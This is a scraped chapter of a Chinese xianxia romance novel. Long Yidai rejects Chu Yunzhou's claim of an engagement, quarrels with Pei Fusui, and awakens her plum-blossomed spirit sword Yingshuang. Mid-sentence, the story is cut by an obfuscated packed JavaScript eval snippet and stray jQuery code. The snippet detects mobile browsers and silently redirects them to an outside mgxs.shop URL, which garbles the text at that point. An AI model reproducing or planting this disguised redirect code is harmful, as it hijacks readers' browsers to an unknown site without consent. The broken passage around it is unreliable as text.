陇仪黛第一反应是想笑。
她于京都宫门见过的世家子弟,没有一千,也有八百。
年幼时,她尚且懵懵懂懂,被那几句漂亮话哄得脸红,心中憧憬,可日子久了,便未尝不为陌生面孔下的尔虞我诈感到憎恶!
“……你有病?”回想过往,少女趁他愣神,一瞬抽回手腕,“我与你,素不相识。我娘把我往这西麓一丢,怕是连死活都不想管,号称哥哥的你却跑来说什么夫君,又是上赶着演哪出?”
就算事实真如那几个弟子所说,楚家同陇氏有姻亲关系,也绝轮不到她才是。
陇仪黛手指轻挑,玄符明明灭灭,“啪”地一下打在青年身上,楚云昼腕骨一痛,眨眼间,长刀在手,直逼少女脖颈。
他懒洋洋笑道:“好东西。”
这符文银白隐蔽,却能轻易受凡人驱使,就连入道大成的他,也不免受伤。
是靳仙君给她的,还是那个孤僻的少年神明?
转刀收袖,簌风回灵,一番行云流水的操作,手腕上血色褪去,陇仪黛抬手,想将他逼开。岂料,西麓客室狭窄,两人距离只堪堪容下剑鞘,掌心甫一贴上薄衣下紧实肌肉,陇仪黛羞恼收回手。
楚云昼玩世不恭,虽实打实将卫萝当作自己的亲妹子,愿意为了她出气,却又不想真的与名义上的另一位妹妹发生些什么。
他缓步后退,嘴上仍不饶人:“下手真重啊。你以后若真嫁了我,天天这么打,只怕是要害我英年早逝。”
陇仪黛瞪他:“谁要嫁你?”
楚云昼叹了口气。
卫萝主修无情道,注定与修苍生道的他有缘无份。这娃娃亲又是两家早早定好的,就算时移世异、物是人非,亦不得改变。
他说:“你知道修真界中的无情道是什么意思吗?卫萝需要断情绝爱,道成之前,不能有任何情愫牵绊。我总得看看,一个要做我未来妻子的妹妹,是什么样。”
更何况,道侣契又不是凡间的婚约,不必心急。
青年散散漫漫地瞧着,少女低下头,眼睛在余晖里泛着薄薄的、不肯落下来的水光。
楚云昼:“你的父亲,是陇氏原本的家主。他天资绝艳,与你母亲感情甚笃,作为陇氏明珠,你定差不到哪去。”
修真界不同凡间,道侣结契,若要生子,须神魂交融,各分一半养育道果,父育其身,母生其魂,二者合一,方能诞生在这个世上。
可她连父亲也没有,宫门多年,皆是她一人活在深宅里。
陇仪黛开口:“若我比卫萝要差呢?”
楚云昼笑起来:“待你入道,比试一番,不久全知晓了?”
他并不觉得陇仪黛能胜过卫萝。
其实,少女先前的猜测并不假。
他的确是为卫萝所来。
未婚妻之说,旁人不知,早在陇家主摒弃自身血脉时,就不当真了。
陇仪黛拧眉:“我不想同任何人比。”
一来一往,楚云昼已退到门口:“你若赢了她,就用不着给那个小丫头当侍女了,不是么。你娘再偏心,也不会把一个能赢不息山未来少主的亲女送去给人为奴为仆。”
他似乎很笃定,陇仪黛迟早会和卫萝比上一场。
陇仪黛目送他远去。
西麓夜深了,寒气竟比随州河还要冷,往日都是裴扶绥为她守夜,回到了亲生母亲身边反倒孤身一人,烛火矮下去,陇仪黛耐心去解发丝间缠绕的护带,听到门外吱呀一叫,她头也不抬:“……楚云昼。我说了,我是不会同卫萝比——”
“谁是楚云昼?”
裴扶绥长腿一迈,山风溯溯,静山呜鸣,少年人手中提着食盒,理所应当地站到桌边,盒中膳食温热,碟沿干净,盖上还有些夜晚的露水,一看,就是才从其他峰带过来的。
不知怎的,陇仪黛有些心虚:“怎么是你啊。”
见裴扶绥面上表情有些难看,陇仪黛难得温柔道:“是师父让你送的吧?”
裴扶绥低低“嗯”了一声,却听少女又问:“那人呢。”
她的心里,似乎从来都不在意自己。
裴扶绥动作停滞,未几,开口道:“用过饭后,你师父在南麓望月台等你。”
陇仪黛点头,作出一番算是知晓的模样。今日这一遭,她早就饿极了,伸手就要去端那粥碗,甫一触碰边缘,少年却稳稳按住另一头。
“你发什么疯?”
她蹙眉,心情更坏了。
裴扶绥直勾勾盯着她差点儿被烫红的指尖,轻笑须臾,道:“喝啊,让不息山的门客,瞧瞧他们迎来了一个只图口欲之快的少主。”
闻言,陇仪黛索性松了手,她本想说“你管我烫不烫”,可眼下,裴扶绥和师父,是她唯一熟识的人了。
少女好整以暇,往前一探;“小乞丐,我师父让你送饭,心里不痛快?”
或许,他们恨极了她这么一个人。
裴扶绥不答,侧过身,佯装收拾食盒里的布料,目光却有些失神。
不痛快么?
确实如此。
粥凉得太快,以至于陇仪黛没留意到少年的异样,她端起粥,悠闲地吹了吹,咸淡正好,米粒煮得开花,随口道:“这不息山西可真热闹,走了一个,又来一个。来接卫萝的道门首徒下午还说什么,要我做未婚妻。哪有哥哥娶自己妹妹的?把我这个凡人当傻子耍呢。”
少女喝得饱饱的:“你说是不是,小乞丐。”
她说得随意,裴扶绥捏紧布巾,像是失去了全身所有的力气:“……未婚妻?你答应了?”
陇仪黛勺子哐当一下,瞪圆了眼睛:“我答应什么了!是他自说自话,我连他叫什么都是头一回听到。你耳朵是不是被风吹堵了。”
又骂他。
裴扶绥笑起来:“你同我说这些做什么。你是想让我替你出气么,还是想让我夸你一句好福气?“
陇仪黛愣住:“裴扶绥,你——”
“不必解释。”少年如同宫门仆从一般,收拾好所有残余,“你是不息山少主、陇氏明珠,你母亲,是饱受美誉的山主,你的父亲,也曾是天资绝艳的大道所成之人。甚至在凡间,你也是大名鼎鼎的京都闺秀,生来尊贵,娇养无双,而我,命不比你,本就只是一流浪儿。哪怕病死在乡野,也算美事一桩。更何况,哪能比过护着你的仙君?道门首徒同你,门当户对,般配得很。你只管嫁你的,与我,有何干系。”
他越说越快,呼吸愈发重了。
神契引动天地灵气,亦连接彼此,让陇仪黛更加充分感受到他的不安。
“粥是你母亲吩咐人煮的,你若嫌我碍眼,我走便是。”
陇仪黛蓦地站起来,碗底磕在地上,碎得彻底:“裴扶绥!”
“你到底在气什么?我不过随口提了一句哥哥,你倒像是被我戴了绿帽一样——”
“你住口。”
裴扶绥骤然回头,眼尾殷红,似是羞恼到极点。
他在因她莫须有的爱情羞愤。
从踏入不息山山门的那一刻起,无人不知,无人不晓:他是她陇仪黛的所有物。
可,偏偏她不知道。
墙灰沙沙落下,人影远去,庭内惟余寂静。
陇仪黛蹲下身,指
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788438|210267||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腹捻起碎瓷,边缘锋利,血珠咕噜咕噜滚出来,又凉又疼,丝丝麻麻地,倒叫她清醒许多。
她喜欢裴扶绥吗?
才不。
陇仪黛吸了吸鼻子,眼睛酸得厉害,她扶住桌沿,稳住身形慢慢站起。桌上的膳食已然凉透,米粒凝成一团,表面白膜晕染,她鬼使神差地尝了一口,后知后觉明白过来。
这味道,分明是对方自己煮的。
“我讨厌你。”少女低声说,“裴扶绥,我讨厌你。”
她不知道自己为什么会哭,她分明讨厌少年按着她强吻时的粗鲁、赶路时同自己作对的态度……可此时此刻,陇仪黛只听见自己断断续续抽着气,咸涩液体不受控制淌过脸颊。
人生难免落泪,可为何,偏偏是这个时候。
夜风卷走孤独的啜泣,散在寂静的不息山里。
仿若坠入湖心的羽毛一般,一阵一阵涟漪从意识海里扩散,与不息山的某个存在共鸣着。
陇仪黛闭上眼,恍然惊觉,四周茫茫然,无数细碎光点漂浮在空中,似夏日萤火虫,忽明忽暗。
少女漫无目的地游荡在这里,脚下,浅青色的光晕由近及远,指引向远处。
这是哪儿?
陇仪黛茫然四顾,正要出声呼唤,耳边童声软乎乎的:“小主人,你终于来了。”
她循声望去,只见不远处,一剑虹光闪。
此剑细长泛白,约莫三指宽,一点春色飞雪里,恰如折花问雪,介于苍白与妃色之间,灵力于剑纹反复流转。
然而,最让人移不开眼的,是攀附在上面,一枝、一枝的梅花,花瓣层层叠叠,从剑柄处蜿蜒葳蕤,枝干虬曲,在银白的底色上,呈现出淡然的粉白。
不息山陇氏,以其剑法闻名尔尔。
据说,卫夫人所持赤红之剑,名为阿凰。
按道理,陇氏血脉孕育的剑灵,也应当是那柄母剑的延申才对,为何,此刻浮现在识海当中的,却是一柄素白细剑呢?
陇仪黛缓步靠近,心念一动:“你……是樱双剑?”
人间的话本子繁杂,除舞文弄墨、游马看花外,京都并无什么精彩的事,陇仪黛受宫门熏染,博览群书,就连市面上常见的杂书,也未尝没有读过。
可她没想到,卷簧中的神剑,居然真的存在,甚至,她就是其中一个的主人。
“但你为什么长这样?”陇仪黛很是疑惑。
听她说话,樱双剑难免生怯;“我也不知道。我刚刚睡醒,一睁眼,便看见你在哭,心里可难受了。”
陇仪黛很聪明:“你因为我难受?”
剑身晃了晃,似是在点头:“嗯!剑主的心情会影响剑灵,这个红红的,或许是梅花吧。是小主人你心中所念,才有了我这番化形哦。”
梅花么?
少女哭着哭着,脑子里浮现的,竟是师父的月容仙色。因此,她的本命灵剑,生出一点、一点的寒香来。
居然不是……他吗。
陇仪黛收回手。
“小主人,”樱双奶声奶气问,“我长这样,你是不是不满意?”
陇仪黛看着美丽到诡谲的梅花枝,听见自己愣愣回答:“……喜欢。”
它长什么样都可以,因为,樱双是独属于她的。这样,是不是离母亲,也更近一点了呢?
听到少女的回答,樱双剑欢喜地快要哭出来,含含糊糊道:“小主人,我等了好久好久,终于等到你了。”
识海的边缘开始模糊,浅青色光晕如潮水般远去,浮光渐渐将她包围起来,花影揉碎。
陇仪黛睁开眼,映出一红衣来者。